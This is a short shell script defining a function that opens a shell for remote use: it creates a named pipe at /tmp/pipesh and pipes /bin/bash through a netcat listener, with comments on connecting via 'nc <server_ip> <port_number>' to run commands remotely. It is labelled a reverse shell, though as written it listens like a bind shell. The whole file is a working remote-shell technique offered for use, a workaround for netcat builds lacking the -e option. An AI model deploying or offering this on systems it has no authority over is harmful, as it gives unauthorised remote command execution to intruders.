#---------DESCRIPTION--------
	# Serves up an unencrypted, reverse-shell when the -e option is unavailable
	# Much less reliable (command lag), but useful in a pinch

#----------FUNCTIONS---------
function poorPersonsReverseShell()
	{
	# Create a named pipe (a "permanent pipe")
	mkfifo /tmp/pipesh

	# Assign /bin/bash to the named pipe and use netcat to listen for incoming connections
	/bin/bash /tmp/pipesh | nc -l <port_number> > /tmp/pipesh
	
	# To connect to the reverse-shell, use the same port number from above and run the command
	#
	# 						nc <server_ip> <port_number>

	# Commands can be entered locally, but will run on the remote machine
	# Often, there is lag and a command will not return STDOUT/ERR but it still seems to run
	}
